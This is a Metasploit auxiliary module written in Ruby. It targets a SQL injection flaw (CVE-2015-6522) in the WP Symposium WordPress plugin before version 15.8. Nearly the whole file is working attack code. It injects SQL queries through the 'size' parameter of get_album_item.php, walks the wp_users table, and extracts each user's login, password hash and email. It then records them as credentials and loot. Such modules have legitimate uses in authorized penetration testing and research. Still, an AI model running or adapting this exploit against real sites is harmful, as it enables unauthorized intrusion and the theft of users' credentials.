##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Symposium Plugin SQL Injection',
      'Description'     => %q{
        This module exploits a SQL injection vulnerability in the WP Symposium plugin
        before 15.8 for WordPress, which allows remote attackers to extract credentials
        via the size parameter to get_album_item.php.
      },
      'Author'          =>
        [
          'PizzaHatHacker',                       # Vulnerability discovery
          'Matteo Cantoni <goony[at]nothink.org>' # Metasploit module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          ['CVE', '2015-6522'],
          ['EDB', '37824']
        ],
      'DisclosureDate'  => 'Aug 18 2015'
      ))

    register_options(
      [
        OptString.new('URI_PLUGIN', [true, 'The WordPress Symposium Plugin URI', 'wp-symposium'])
      ], self.class)
  end

  def check
    check_plugin_version_from_readme('wp-symposium', '15.8.0', '15.5.1')
  end

  def uri_plugin
    normalize_uri(wordpress_url_plugins, datastore['URI_PLUGIN'], 'get_album_item.php')
  end

  def send_sql_request(sql_query)
    uri_complete = normalize_uri(uri_plugin)

    begin
      res = send_request_cgi(
        'method'   => 'GET',
        'uri'      => uri_complete,
        'vars_get' => { 'size' => sql_query }
      )

      return nil if res.nil? || res.code != 200 || res.body.nil?

      res.body

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE => e
      vprint_error("#{peer} - The host was unreachable!")
      return nil
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :nonreplayable_hash,
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::UNTRIED,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def run
    vprint_status("#{peer} - Attempting to connect...")
    vprint_status("#{peer} - Trying to retrieve the first user id...")
    first_id = send_sql_request('id from wp_users order by id asc limit 1 ; --')
    if first_id.nil?
      vprint_error("#{peer} - Failed to retrieve the first user id... Try with check function!")
      return
    else
      vprint_status("#{peer} - First user-id is '#{first_id}'")
    end

    vprint_status("#{peer} - Trying to retrieve the last user id...")
    last_id = send_sql_request('id from wp_users order by id desc limit 1 ; --')
    if last_id.nil?
      vprint_error("#{peer} - Failed to retrieve the last user id")
      return
    else
      vprint_status("#{peer} - Last user-id is '#{last_id}'")
    end

    credentials = ""

    vprint_status("#{peer} - Trying to retrieve the users informations...")
    for user_id in first_id..last_id
      separator = Rex::Text.rand_text_numeric(7,bad='0')
      user_info = send_sql_request("concat_ws(#{separator},user_login,user_pass,user_email) from wp_users where id = #{user_id} ; --")

      if user_info.nil?
        vprint_error("#{peer} - Failed to retrieve the users info")
        return
      else
        values = user_info.split("#{separator}")

        user_login = values[0]
        user_pass  = values[1]
        user_email = values[2]

        print_good("#{peer} - #{sprintf("%-15s %-34s %s", user_login, user_pass, user_email)}")
        report_cred(
          ip: rhost,
          port: datastore['RPORT'],
          service_name: datastore['SSL'] ? 'https' : 'http',
          user: user_login,
          password: user_pass,
          proof: user_email
        )

        credentials << "#{user_login},#{user_pass},#{user_email}\n"
      end
    end

    unless credentials.empty?
      loot = store_loot("wp_symposium.http","text/plain", rhost, credentials)
      vprint_status("Credentials saved in: #{loot}")
    end
  end
end
